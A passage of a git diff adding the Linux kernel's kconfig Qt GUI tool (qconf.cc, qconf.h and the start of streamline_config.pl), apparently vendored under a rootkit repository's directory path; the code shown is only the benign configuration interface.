(list->showData != b) { + list->showData = b; + list->reinit(); + emit showDataChanged(b); + } +} + +void ConfigList::setAllOpen(bool open) +{ + Q3ListViewItemIterator it(this); + + for (; it.current(); it++) + it.current()->setOpen(open); +} + +void ConfigView::updateList(ConfigItem* item) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateList(item); +} + +void ConfigView::updateListAll(void) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateListAll(); +} + +ConfigInfoView::ConfigInfoView(QWidget* parent, const char *name) + : Parent(parent, name), sym(0), _menu(0) +{ + if (name) { + configSettings->beginGroup(name); + _showDebug = configSettings->readBoolEntry("/showDebug", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigInfoView::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showDebug", showDebug()); + configSettings->endGroup(); + } +} + +void ConfigInfoView::setShowDebug(bool b) +{ + if (_showDebug != b) { + _showDebug = b; + if (_menu) + menuInfo(); + else if (sym) + symbolInfo(); + emit showDebugChanged(b); + } +} + +void ConfigInfoView::setInfo(struct menu *m) +{ + if (_menu == m) + return; + _menu = m; + sym = NULL; + if (!_menu) + clear(); + else + menuInfo(); +} + +void ConfigInfoView::symbolInfo(void) +{ + QString str; + + str += "Symbol: "; + str += print_filter(sym->name); + str += "

value: "; + str += print_filter(sym_get_string_value(sym)); + str += "
visibility: "; + str += sym->visible == yes ? "y" : sym->visible == mod ? "m" : "n"; + str += "
"; + str += debug_info(sym); + + setText(str); +} + +void ConfigInfoView::menuInfo(void) +{ + struct symbol* sym; + QString head, debug, help; + + sym = _menu->sym; + if (sym) { + if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += ""; + if (sym->name) { + head += " ("; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ")"; + } + } else if (sym->name) { + head += ""; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ""; + } + head += "

"; + + if (showDebug()) + debug = debug_info(sym); + + struct gstr help_gstr = str_new(); + menu_get_ext_help(_menu, &help_gstr); + help = print_filter(str_get(&help_gstr)); + str_free(&help_gstr); + } else if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += "

"; + if (showDebug()) { + if (_menu->prompt->visible.expr) { + debug += "  dep: "; + expr_print(_menu->prompt->visible.expr, expr_print_help, &debug, E_NONE); + debug += "

"; + } + } + } + if (showDebug()) + debug += QString().sprintf("defined at %s:%d

", _menu->file->name, _menu->lineno); + + setText(head + debug + help); +} + +QString ConfigInfoView::debug_info(struct symbol *sym) +{ + QString debug; + + debug += "type: "; + debug += print_filter(sym_type_name(sym->type)); + if (sym_is_choice(sym)) + debug += " (choice)"; + debug += "
"; + if (sym->rev_dep.expr) { + debug += "reverse dep: "; + expr_print(sym->rev_dep.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + for (struct property *prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_PROMPT: + case P_MENU: + debug += QString().sprintf("prompt: ", prop->menu); + debug += print_filter(_(prop->text)); + debug += "
"; + break; + case P_DEFAULT: + case P_SELECT: + case P_RANGE: + case P_ENV: + debug += prop_get_type_name(prop->type); + debug += ": "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + break; + case P_CHOICE: + if (sym_is_choice(sym)) { + debug += "choice: "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + break; + default: + debug += "unknown property: "; + debug += prop_get_type_name(prop->type); + debug += "
"; + } + if (prop->visible.expr) { + debug += "    dep: "; + expr_print(prop->visible.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + } + debug += "
"; + + return debug; +} + +QString ConfigInfoView::print_filter(const QString &str) +{ + QRegExp re("[<>&\"\\n]"); + QString res = str; + for (int i = 0; (i = res.find(re, i)) >= 0;) { + switch (res[i].latin1()) { + case '<': + res.replace(i, 1, "<"); + i += 4; + break; + case '>': + res.replace(i, 1, ">"); + i += 4; + break; + case '&': + res.replace(i, 1, "&"); + i += 5; + break; + case '"': + res.replace(i, 1, """); + i += 6; + break; + case '\n': + res.replace(i, 1, "
"); + i += 4; + break; + } + } + return res; +} + +void ConfigInfoView::expr_print_help(void *data, struct symbol *sym, const char *str) +{ + QString* text = reinterpret_cast(data); + QString str2 = print_filter(str); + + if (sym && sym->name && !(sym->flags & SYMBOL_CONST)) { + *text += QString().sprintf("", sym); + *text += str2; + *text += ""; + } else + *text += str2; +} + +Q3PopupMenu* ConfigInfoView::createPopupMenu(const QPoint& pos) +{ + Q3PopupMenu* popup = Parent::createPopupMenu(pos); + Q3Action* action = new Q3Action(NULL, _("Show Debug Info"), 0, popup); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), SLOT(setShowDebug(bool))); + connect(this, SIGNAL(showDebugChanged(bool)), action, SLOT(setOn(bool))); + action->setOn(showDebug()); + popup->insertSeparator(); + action->addTo(popup); + return popup; +} + +void ConfigInfoView::contentsContextMenuEvent(QContextMenuEvent *e) +{ + Parent::contentsContextMenuEvent(e); +} + +ConfigSearchWindow::ConfigSearchWindow(ConfigMainWindow* parent, const char *name) + : Parent(parent, name), result(NULL) +{ + setCaption("Search Config"); + + QVBoxLayout* layout1 = new QVBoxLayout(this, 11, 6); + QHBoxLayout* layout2 = new QHBoxLayout(0, 0, 6); + layout2->addWidget(new QLabel(_("Find:"), this)); + editField = new QLineEdit(this); + connect(editField, SIGNAL(returnPressed()), SLOT(search())); + layout2->addWidget(editField); + searchButton = new QPushButton(_("Search"), this); + searchButton->setAutoDefault(FALSE); + connect(searchButton, SIGNAL(clicked()), SLOT(search())); + layout2->addWidget(searchButton); + layout1->addLayout(layout2); + + split = new QSplitter(this); + split->setOrientation(Qt::Vertical); + list = new ConfigView(split, name); + list->list->mode = listMode; + info = new ConfigInfoView(split, name); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + info, SLOT(setInfo(struct menu *))); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + parent, SLOT(setMenuLink(struct menu *))); + + layout1->addWidget(split); + + if (name) { + int x, y, width, height; + bool ok; + + configSettings->beginGroup(name); + width = configSettings->readNumEntry("/window width", parent->width() / 2); + height = configSettings->readNumEntry("/window height", parent->height() / 2); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + Q3ValueList sizes = configSettings->readSizes("/split", &ok); + if (ok) + split->setSizes(sizes); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigSearchWindow::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + configSettings->writeSizes("/split", split->sizes()); + configSettings->endGroup(); + } +} + +void ConfigSearchWindow::search(void) +{ + struct symbol **p; + struct property *prop; + ConfigItem *lastItem = NULL; + + free(result); + list->list->clear(); + info->clear(); + + result = sym_re_search(editField->text().latin1()); + if (!result) + return; + for (p = result; *p; p++) { + for_all_prompts((*p), prop) + lastItem = new ConfigItem(list->list, lastItem, prop->menu, + menu_is_visible(prop->menu)); + } +} + +/* + * Construct the complete config widget + */ +ConfigMainWindow::ConfigMainWindow(void) + : searchWindow(0) +{ + QMenuBar* menu; + bool ok; + int x, y, width, height; + char title[256]; + + QDesktopWidget *d = configApp->desktop(); + snprintf(title, sizeof(title), "%s%s", + rootmenu.prompt->text, +#if QT_VERSION < 0x040000 + " (Qt3)" +#else + "" +#endif + ); + setCaption(title); + + width = configSettings->readNumEntry("/window width", d->width() - 64); + height = configSettings->readNumEntry("/window height", d->height() - 64); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + + split1 = new QSplitter(this); + split1->setOrientation(Qt::Horizontal); + setCentralWidget(split1); + + menuView = new ConfigView(split1, "menu"); + menuList = menuView->list; + + split2 = new QSplitter(split1); + split2->setOrientation(Qt::Vertical); + + // create config tree + configView = new ConfigView(split2, "config"); + configList = configView->list; + + helpText = new ConfigInfoView(split2, "help"); + helpText->setTextFormat(Qt::RichText); + + setTabOrder(configList, helpText); + configList->setFocus(); + + menu = menuBar(); + toolBar = new Q3ToolBar("Tools", this); + + backAction = new Q3Action("Back", QPixmap(xpm_back), _("Back"), 0, this); + connect(backAction, SIGNAL(activated()), SLOT(goBack())); + backAction->setEnabled(FALSE); + Q3Action *quitAction = new Q3Action("Quit", _("&Quit"), Qt::CTRL + Qt::Key_Q, this); + connect(quitAction, SIGNAL(activated()), SLOT(close())); + Q3Action *loadAction = new Q3Action("Load", QPixmap(xpm_load), _("&Load"), Qt::CTRL + Qt::Key_L, this); + connect(loadAction, SIGNAL(activated()), SLOT(loadConfig())); + saveAction = new Q3Action("Save", QPixmap(xpm_save), _("&Save"), Qt::CTRL + Qt::Key_S, this); + connect(saveAction, SIGNAL(activated()), SLOT(saveConfig())); + conf_set_changed_callback(conf_changed); + // Set saveAction's initial state + conf_changed(); + Q3Action *saveAsAction = new Q3Action("Save As...", _("Save &As..."), 0, this); + connect(saveAsAction, SIGNAL(activated()), SLOT(saveConfigAs())); + Q3Action *searchAction = new Q3Action("Find", _("&Find"), Qt::CTRL + Qt::Key_F, this); + connect(searchAction, SIGNAL(activated()), SLOT(searchConfig())); + Q3Action *singleViewAction = new Q3Action("Single View", QPixmap(xpm_single_view), _("Single View"), 0, this); + connect(singleViewAction, SIGNAL(activated()), SLOT(showSingleView())); + Q3Action *splitViewAction = new Q3Action("Split View", QPixmap(xpm_split_view), _("Split View"), 0, this); + connect(splitViewAction, SIGNAL(activated()), SLOT(showSplitView())); + Q3Action *fullViewAction = new Q3Action("Full View", QPixmap(xpm_tree_view), _("Full View"), 0, this); + connect(fullViewAction, SIGNAL(activated()), SLOT(showFullView())); + + Q3Action *showNameAction = new Q3Action(NULL, _("Show Name"), 0, this); + showNameAction->setToggleAction(TRUE); + connect(showNameAction, SIGNAL(toggled(bool)), configView, SLOT(setShowName(bool))); + connect(configView, SIGNAL(showNameChanged(bool)), showNameAction, SLOT(setOn(bool))); + showNameAction->setOn(configView->showName()); + Q3Action *showRangeAction = new Q3Action(NULL, _("Show Range"), 0, this); + showRangeAction->setToggleAction(TRUE); + connect(showRangeAction, SIGNAL(toggled(bool)), configView, SLOT(setShowRange(bool))); + connect(configView, SIGNAL(showRangeChanged(bool)), showRangeAction, SLOT(setOn(bool))); + showRangeAction->setOn(configList->showRange); + Q3Action *showDataAction = new Q3Action(NULL, _("Show Data"), 0, this); + showDataAction->setToggleAction(TRUE); + connect(showDataAction, SIGNAL(toggled(bool)), configView, SLOT(setShowData(bool))); + connect(configView, SIGNAL(showDataChanged(bool)), showDataAction, SLOT(setOn(bool))); + showDataAction->setOn(configList->showData); + + QActionGroup *optGroup = new QActionGroup(this); + optGroup->setExclusive(TRUE); + connect(optGroup, SIGNAL(selected(QAction *)), configView, + SLOT(setOptionMode(QAction *))); + connect(optGroup, SIGNAL(selected(QAction *)), menuView, + SLOT(setOptionMode(QAction *))); + +#if QT_VERSION >= 0x040000 + configView->showNormalAction = new QAction(_("Show Normal Options"), optGroup); + configView->showAllAction = new QAction(_("Show All Options"), optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), optGroup); +#else + configView->showNormalAction = new QAction(_("Show Normal Options"), 0, optGroup); + configView->showAllAction = new QAction(_("Show All Options"), 0, optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), 0, optGroup); +#endif + configView->showNormalAction->setToggleAction(TRUE); + configView->showNormalAction->setOn(configList->optMode == normalOpt); + configView->showAllAction->setToggleAction(TRUE); + configView->showAllAction->setOn(configList->optMode == allOpt); + configView->showPromptAction->setToggleAction(TRUE); + configView->showPromptAction->setOn(configList->optMode == promptOpt); + + Q3Action *showDebugAction = new Q3Action(NULL, _("Show Debug Info"), 0, this); + showDebugAction->setToggleAction(TRUE); + connect(showDebugAction, SIGNAL(toggled(bool)), helpText, SLOT(setShowDebug(bool))); + connect(helpText, SIGNAL(showDebugChanged(bool)), showDebugAction, SLOT(setOn(bool))); + showDebugAction->setOn(helpText->showDebug()); + + Q3Action *showIntroAction = new Q3Action(NULL, _("Introduction"), 0, this); + connect(showIntroAction, SIGNAL(activated()), SLOT(showIntro())); + Q3Action *showAboutAction = new Q3Action(NULL, _("About"), 0, this); + connect(showAboutAction, SIGNAL(activated()), SLOT(showAbout())); + + // init tool bar + backAction->addTo(toolBar); + toolBar->addSeparator(); + loadAction->addTo(toolBar); + saveAction->addTo(toolBar); + toolBar->addSeparator(); + singleViewAction->addTo(toolBar); + splitViewAction->addTo(toolBar); + fullViewAction->addTo(toolBar); + + // create config menu + Q3PopupMenu* config = new Q3PopupMenu(this); + menu->insertItem(_("&File"), config); + loadAction->addTo(config); + saveAction->addTo(config); + saveAsAction->addTo(config); + config->insertSeparator(); + quitAction->addTo(config); + + // create edit menu + Q3PopupMenu* editMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Edit"), editMenu); + searchAction->addTo(editMenu); + + // create options menu + Q3PopupMenu* optionMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Option"), optionMenu); + showNameAction->addTo(optionMenu); + showRangeAction->addTo(optionMenu); + showDataAction->addTo(optionMenu); + optionMenu->insertSeparator(); + optGroup->addTo(optionMenu); + optionMenu->insertSeparator(); + + // create help menu + Q3PopupMenu* helpMenu = new Q3PopupMenu(this); + menu->insertSeparator(); + menu->insertItem(_("&Help"), helpMenu); + showIntroAction->addTo(helpMenu); + showAboutAction->addTo(helpMenu); + + connect(configList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(configList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + connect(configList, SIGNAL(parentSelected()), + SLOT(goBack())); + connect(menuList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + + connect(configList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + SLOT(listFocusChanged(void))); + connect(helpText, SIGNAL(menuSelected(struct menu *)), + SLOT(setMenuLink(struct menu *))); + + QString listMode = configSettings->readEntry("/listMode", "symbol"); + if (listMode == "single") + showSingleView(); + else if (listMode == "full") + showFullView(); + else /*if (listMode == "split")*/ + showSplitView(); + + // UI setup done, restore splitter positions + Q3ValueList sizes = configSettings->readSizes("/split1", &ok); + if (ok) + split1->setSizes(sizes); + + sizes = configSettings->readSizes("/split2", &ok); + if (ok) + split2->setSizes(sizes); +} + +void ConfigMainWindow::loadConfig(void) +{ + QString s = Q3FileDialog::getOpenFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + if (conf_read(QFile::encodeName(s))) + QMessageBox::information(this, "qconf", _("Unable to load configuration!")); + ConfigView::updateListAll(); +} + +bool ConfigMainWindow::saveConfig(void) +{ + if (conf_write(NULL)) { + QMessageBox::information(this, "qconf", _("Unable to save configuration!")); + return false; + } + return true; +} + +void ConfigMainWindow::saveConfigAs(void) +{ + QString s = Q3FileDialog::getSaveFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + saveConfig(); +} + +void ConfigMainWindow::searchConfig(void) +{ + if (!searchWindow) + searchWindow = new ConfigSearchWindow(this, "search"); + searchWindow->show(); +} + +void ConfigMainWindow::changeMenu(struct menu *menu) +{ + configList->setRootMenu(menu); + if (configList->rootEntry->parent == &rootmenu) + backAction->setEnabled(FALSE); + else + backAction->setEnabled(TRUE); +} + +void ConfigMainWindow::setMenuLink(struct menu *menu) +{ + struct menu *parent; + ConfigList* list = NULL; + ConfigItem* item; + + if (configList->menuSkip(menu)) + return; + + switch (configList->mode) { + case singleMode: + list = configList; + parent = menu_get_parent_menu(menu); + if (!parent) + return; + list->setRootMenu(parent); + break; + case symbolMode: + if (menu->flags & MENU_ROOT) { + configList->setRootMenu(menu); + configList->clearSelection(); + list = menuList; + } else { + list = configList; + parent = menu_get_parent_menu(menu->parent); + if (!parent) + return; + item = menuList->findConfigItem(parent); + if (item) { + menuList->setSelected(item, TRUE); + menuList->ensureItemVisible(item); + } + list->setRootMenu(parent); + } + break; + case fullMode: + list = configList; + break; + default: + break; + } + + if (list) { + item = list->findConfigItem(menu); + if (item) { + list->setSelected(item, TRUE); + list->ensureItemVisible(item); + list->setFocus(); + } + } +} + +void ConfigMainWindow::listFocusChanged(void) +{ + if (menuList->mode == menuMode) + configList->clearSelection(); +} + +void ConfigMainWindow::goBack(void) +{ + ConfigItem* item; + + configList->setParentMenu(); + if (configList->rootEntry == &rootmenu) + backAction->setEnabled(FALSE); + item = (ConfigItem*)menuList->selectedItem(); + while (item) { + if (item->menu == configList->rootEntry) { + menuList->setSelected(item, TRUE); + break; + } + item = (ConfigItem*)item->parent(); + } +} + +void ConfigMainWindow::showSingleView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = singleMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configList->setFocus(); +} + +void ConfigMainWindow::showSplitView(void) +{ + configList->mode = symbolMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configApp->processEvents(); + menuList->mode = menuMode; + menuList->setRootMenu(&rootmenu); + menuList->setAllOpen(TRUE); + menuView->show(); + menuList->setFocus(); +} + +void ConfigMainWindow::showFullView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = fullMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(FALSE); + configList->setFocus(); +} + +/* + * ask for saving configuration before quitting + * TODO ask only when something changed + */ +void ConfigMainWindow::closeEvent(QCloseEvent* e) +{ + if (!conf_get_changed()) { + e->accept(); + return; + } + QMessageBox mb("qconf", _("Save configuration?"), QMessageBox::Warning, + QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); + mb.setButtonText(QMessageBox::Yes, _("&Save Changes")); + mb.setButtonText(QMessageBox::No, _("&Discard Changes")); + mb.setButtonText(QMessageBox::Cancel, _("Cancel Exit")); + switch (mb.exec()) { + case QMessageBox::Yes: + if (saveConfig()) + e->accept(); + else + e->ignore(); + break; + case QMessageBox::No: + e->accept(); + break; + case QMessageBox::Cancel: + e->ignore(); + break; + } +} + +void ConfigMainWindow::showIntro(void) +{ + static const QString str = _("Welcome to the qconf graphical configuration tool.\n\n" + "For each option, a blank box indicates the feature is disabled, a check\n" + "indicates it is enabled, and a dot indicates that it is to be compiled\n" + "as a module. Clicking on the box will cycle through the three states.\n\n" + "If you do not see an option (e.g., a device driver) that you believe\n" + "should be present, try turning on Show All Options under the Options menu.\n" + "Although there is no cross reference yet to help you figure out what other\n" + "options must be enabled to support the option you are interested in, you can\n" + "still view the help of a grayed-out option.\n\n" + "Toggling Show Debug Info under the Options menu will show the dependencies,\n" + "which you can then match by examining other options.\n\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::showAbout(void) +{ + static const QString str = _("qconf is Copyright (C) 2002 Roman Zippel .\n\n" + "Bug reports and feature request can also be entered at http://bugzilla.kernel.org/\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::saveSettings(void) +{ + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + + QString entry; + switch(configList->mode) { + case singleMode : + entry = "single"; + break; + + case symbolMode : + entry = "split"; + break; + + case fullMode : + entry = "full"; + break; + + default: + break; + } + configSettings->writeEntry("/listMode", entry); + + configSettings->writeSizes("/split1", split1->sizes()); + configSettings->writeSizes("/split2", split2->sizes()); +} + +void ConfigMainWindow::conf_changed(void) +{ + if (saveAction) + saveAction->setEnabled(conf_get_changed()); +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + +static const char *progname; + +static void usage(void) +{ + printf(_("%s \n"), progname); + exit(0); +} + +int main(int ac, char** av) +{ + ConfigMainWindow* v; + const char *name; + + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + progname = av[0]; + configApp = new QApplication(ac, av); + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'h': + case '?': + usage(); + } + name = av[2]; + } else + name = av[1]; + if (!name) + usage(); + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + //zconfdump(stdout); + + configSettings = new ConfigSettings(); + configSettings->beginGroup("/kconfig/qconf"); + v = new ConfigMainWindow(); + + //zconfdump(stdout); + configApp->setMainWidget(v); + configApp->connect(configApp, SIGNAL(lastWindowClosed()), SLOT(quit())); + configApp->connect(configApp, SIGNAL(aboutToQuit()), v, SLOT(saveSettings())); + v->show(); + configApp->exec(); + + configSettings->endGroup(); + delete configSettings; + + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/qconf.h b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.h new file mode 100644 index 0000000..bde0c6b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.h @@ -0,0 +1,338 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#if QT_VERSION < 0x040000 +#include +#else +#include +#endif +#include + +#if QT_VERSION < 0x040000 +#define Q3ValueList QValueList +#define Q3PopupMenu QPopupMenu +#define Q3ListView QListView +#define Q3ListViewItem QListViewItem +#define Q3VBox QVBox +#define Q3TextBrowser QTextBrowser +#define Q3MainWindow QMainWindow +#define Q3Action QAction +#define Q3ToolBar QToolBar +#define Q3ListViewItemIterator QListViewItemIterator +#define Q3FileDialog QFileDialog +#endif + +class ConfigView; +class ConfigList; +class ConfigItem; +class ConfigLineEdit; +class ConfigMainWindow; + +class ConfigSettings : public QSettings { +public: + ConfigSettings(); + Q3ValueList readSizes(const QString& key, bool *ok); + bool writeSizes(const QString& key, const Q3ValueList& value); +}; + +enum colIdx { + promptColIdx, nameColIdx, noColIdx, modColIdx, yesColIdx, dataColIdx, colNr +}; +enum listMode { + singleMode, menuMode, symbolMode, fullMode, listMode +}; +enum optionMode { + normalOpt = 0, allOpt, promptOpt +}; + +class ConfigList : public Q3ListView { + Q_OBJECT + typedef class Q3ListView Parent; +public: + ConfigList(ConfigView* p, const char *name = 0); + void reinit(void); + ConfigView* parent(void) const + { + return (ConfigView*)Parent::parent(); + } + ConfigItem* findConfigItem(struct menu *); + +protected: + void keyPressEvent(QKeyEvent *e); + void contentsMousePressEvent(QMouseEvent *e); + void contentsMouseReleaseEvent(QMouseEvent *e); + void contentsMouseMoveEvent(QMouseEvent *e); + void contentsMouseDoubleClickEvent(QMouseEvent *e); + void focusInEvent(QFocusEvent *e); + void contextMenuEvent(QContextMenuEvent *e); + +public slots: + void setRootMenu(struct menu *menu); + + void updateList(ConfigItem *item); + void setValue(ConfigItem* item, tristate val); + void changeValue(ConfigItem* item); + void updateSelection(void); + void saveSettings(void); +signals: + void menuChanged(struct menu *menu); + void menuSelected(struct menu *menu); + void parentSelected(void); + void gotFocus(struct menu *); + +public: + void updateListAll(void) + { + updateAll = true; + updateList(NULL); + updateAll = false; + } + ConfigList* listView() + { + return this; + } + ConfigItem* firstChild() const + { + return (ConfigItem *)Parent::firstChild(); + } + int mapIdx(colIdx idx) + { + return colMap[idx]; + } + void addColumn(colIdx idx, const QString& label) + { + colMap[idx] = Parent::addColumn(label); + colRevMap[colMap[idx]] = idx; + } + void removeColumn(colIdx idx) + { + int col = colMap[idx]; + if (col >= 0) { + Parent::removeColumn(col); + colRevMap[col] = colMap[idx] = -1; + } + } + void setAllOpen(bool open); + void setParentMenu(void); + + bool menuSkip(struct menu *); + + template + void updateMenuList(P*, struct menu*); + + bool updateAll; + + QPixmap symbolYesPix, symbolModPix, symbolNoPix; + QPixmap choiceYesPix, choiceNoPix; + QPixmap menuPix, menuInvPix, menuBackPix, voidPix; + + bool showName, showRange, showData; + enum listMode mode; + enum optionMode optMode; + struct menu *rootEntry; + QColorGroup disabledColorGroup; + QColorGroup inactivedColorGroup; + Q3PopupMenu* headerPopup; + +private: + int colMap[colNr]; + int colRevMap[colNr]; +}; + +class ConfigItem : public Q3ListViewItem { + typedef class Q3ListViewItem Parent; +public: + ConfigItem(Q3ListView *parent, ConfigItem *after, struct menu *m, bool v) + : Parent(parent, after), menu(m), visible(v), goParent(false) + { + init(); + } + ConfigItem(ConfigItem *parent, ConfigItem *after, struct menu *m, bool v) + : Parent(parent, after), menu(m), visible(v), goParent(false) + { + init(); + } + ConfigItem(Q3ListView *parent, ConfigItem *after, bool v) + : Parent(parent, after), menu(0), visible(v), goParent(true) + { + init(); + } + ~ConfigItem(void); + void init(void); + void okRename(int col); + void updateMenu(void); + void testUpdateMenu(bool v); + ConfigList* listView() const + { + return (ConfigList*)Parent::listView(); + } + ConfigItem* firstChild() const + { + return (ConfigItem *)Parent::firstChild(); + } + ConfigItem* nextSibling() const + { + return (ConfigItem *)Parent::nextSibling(); + } + void setText(colIdx idx, const QString& text) + { + Parent::setText(listView()->mapIdx(idx), text); + } + QString text(colIdx idx) const + { + return Parent::text(listView()->mapIdx(idx)); + } + void setPixmap(colIdx idx, const QPixmap& pm) + { + Parent::setPixmap(listView()->mapIdx(idx), pm); + } + const QPixmap* pixmap(colIdx idx) const + { + return Parent::pixmap(listView()->mapIdx(idx)); + } + void paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align); + + ConfigItem* nextItem; + struct menu *menu; + bool visible; + bool goParent; +}; + +class ConfigLineEdit : public QLineEdit { + Q_OBJECT + typedef class QLineEdit Parent; +public: + ConfigLineEdit(ConfigView* parent); + ConfigView* parent(void) const + { + return (ConfigView*)Parent::parent(); + } + void show(ConfigItem *i); + void keyPressEvent(QKeyEvent *e); + +public: + ConfigItem *item; +}; + +class ConfigView : public Q3VBox { + Q_OBJECT + typedef class Q3VBox Parent; +public: + ConfigView(QWidget* parent, const char *name = 0); + ~ConfigView(void); + static void updateList(ConfigItem* item); + static void updateListAll(void); + + bool showName(void) const { return list->showName; } + bool showRange(void) const { return list->showRange; } + bool showData(void) const { return list->showData; } +public slots: + void setShowName(bool); + void setShowRange(bool); + void setShowData(bool); + void setOptionMode(QAction *); +signals: + void showNameChanged(bool); + void showRangeChanged(bool); + void showDataChanged(bool); +public: + ConfigList* list; + ConfigLineEdit* lineEdit; + + static ConfigView* viewList; + ConfigView* nextView; + + static QAction *showNormalAction; + static QAction *showAllAction; + static QAction *showPromptAction; +}; + +class ConfigInfoView : public Q3TextBrowser { + Q_OBJECT + typedef class Q3TextBrowser Parent; +public: + ConfigInfoView(QWidget* parent, const char *name = 0); + bool showDebug(void) const { return _showDebug; } + +public slots: + void setInfo(struct menu *menu); + void saveSettings(void); + void setShowDebug(bool); + +signals: + void showDebugChanged(bool); + void menuSelected(struct menu *); + +protected: + void symbolInfo(void); + void menuInfo(void); + QString debug_info(struct symbol *sym); + static QString print_filter(const QString &str); + static void expr_print_help(void *data, struct symbol *sym, const char *str); + Q3PopupMenu* createPopupMenu(const QPoint& pos); + void contentsContextMenuEvent(QContextMenuEvent *e); + + struct symbol *sym; + struct menu *_menu; + bool _showDebug; +}; + +class ConfigSearchWindow : public QDialog { + Q_OBJECT + typedef class QDialog Parent; +public: + ConfigSearchWindow(ConfigMainWindow* parent, const char *name = 0); + +public slots: + void saveSettings(void); + void search(void); + +protected: + QLineEdit* editField; + QPushButton* searchButton; + QSplitter* split; + ConfigView* list; + ConfigInfoView* info; + + struct symbol **result; +}; + +class ConfigMainWindow : public Q3MainWindow { + Q_OBJECT + + static Q3Action *saveAction; + static void conf_changed(void); +public: + ConfigMainWindow(void); +public slots: + void changeMenu(struct menu *); + void setMenuLink(struct menu *); + void listFocusChanged(void); + void goBack(void); + void loadConfig(void); + bool saveConfig(void); + void saveConfigAs(void); + void searchConfig(void); + void showSingleView(void); + void showSplitView(void); + void showFullView(void); + void showIntro(void); + void showAbout(void); + void saveSettings(void); + +protected: + void closeEvent(QCloseEvent *e); + + ConfigSearchWindow *searchWindow; + ConfigView *menuView; + ConfigList *menuList; + ConfigView *configView; + ConfigList *configList; + ConfigInfoView *helpText; + Q3ToolBar *toolBar; + Q3Action *backAction; + QSplitter* split1; + QSplitter* split2; +}; diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl b/Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl new file mode 100644 index 0000000..4606cdf --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl @@ -0,0 +1,640 @@ +#!/usr/bin/perl -w +# +# Copyright 2005-2009 - Steven Rostedt +# 